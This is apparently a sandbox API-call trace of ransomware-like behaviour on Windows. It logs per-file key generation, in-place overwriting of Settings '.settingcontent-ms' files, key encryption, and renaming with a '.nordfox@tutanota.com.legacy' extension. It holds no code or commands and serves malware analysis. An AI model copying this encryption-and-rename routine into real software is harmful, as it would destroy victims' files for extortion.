[0197.924] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.924] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.925] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.925] CloseHandle (hObject=0x1c24) returned 1 [0197.925] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Settings_DeveloperModeGroup.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settings_developermodegroup.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Settings_DeveloperModeGroup.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settings_developermodegroup.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.928] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageWindowsDefender.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.928] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0197.930] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.930] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0197.930] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0197.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.931] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.931] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.931] CloseHandle (hObject=0x1c24) returned 1 [0197.931] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageWindowsDefender.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagewindowsdefender.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageWindowsDefender.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagewindowsdefender.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.933] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionSpelling.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.933] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x449, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0197.935] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.935] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x449, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0197.936] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x449 [0197.936] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.936] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.936] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.936] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.936] CloseHandle (hObject=0x1c24) returned 1 [0197.937] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionSpelling.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagetimeregionspelling.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionSpelling.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagetimeregionspelling.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.939] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionLanguage.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.939] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x449, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0197.941] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.941] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x449, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0197.941] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x449 [0197.941] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.941] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.942] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.942] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.942] CloseHandle (hObject=0x1c24) returned 1 [0197.942] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionLanguage.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagetimeregionlanguage.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionLanguage.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagetimeregionlanguage.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.944] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.944] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.944] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionDateTime.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.945] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x449, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0197.948] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.948] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x449, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0197.948] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x449 [0197.949] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.949] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.949] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.949] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.950] CloseHandle (hObject=0x1c24) returned 1 [0197.950] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionDateTime.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagetimeregiondatetime.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageTimeRegionDateTime.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagetimeregiondatetime.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.952] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageThemes.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.952] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x40d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x40d, lpOverlapped=0x0) returned 1 [0197.964] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1037, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.964] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x40d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40d, lpOverlapped=0x0) returned 1 [0197.965] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40d [0197.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.965] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.965] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.966] CloseHandle (hObject=0x1c24) returned 1 [0197.966] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageThemes.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagethemes.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageThemes.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagethemes.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.970] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStorageSenseStorageOverview.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.970] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x476, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x476, lpOverlapped=0x0) returned 1 [0197.972] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1142, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.972] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x476, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x476, lpOverlapped=0x0) returned 1 [0197.973] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x476 [0197.973] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.973] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.973] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.974] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.974] CloseHandle (hObject=0x1c24) returned 1 [0197.974] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStorageSenseStorageOverview.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagestoragesensestorageoverview.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStorageSenseStorageOverview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagestoragesensestorageoverview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0197.976] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.976] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStorageSenseSaveLocations.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.977] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4ae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ae, lpOverlapped=0x0) returned 1 [0197.979] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1198, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.979] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4ae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ae, lpOverlapped=0x0) returned 1 [0197.979] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ae [0197.979] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.979] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.979] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.980] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.980] CloseHandle (hObject=0x1c24) returned 1 [0197.980] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStorageSenseSaveLocations.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagestoragesensesavelocations.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStorageSenseSaveLocations.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagestoragesensesavelocations.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.982] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.982] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.982] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStart.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.982] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x408, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 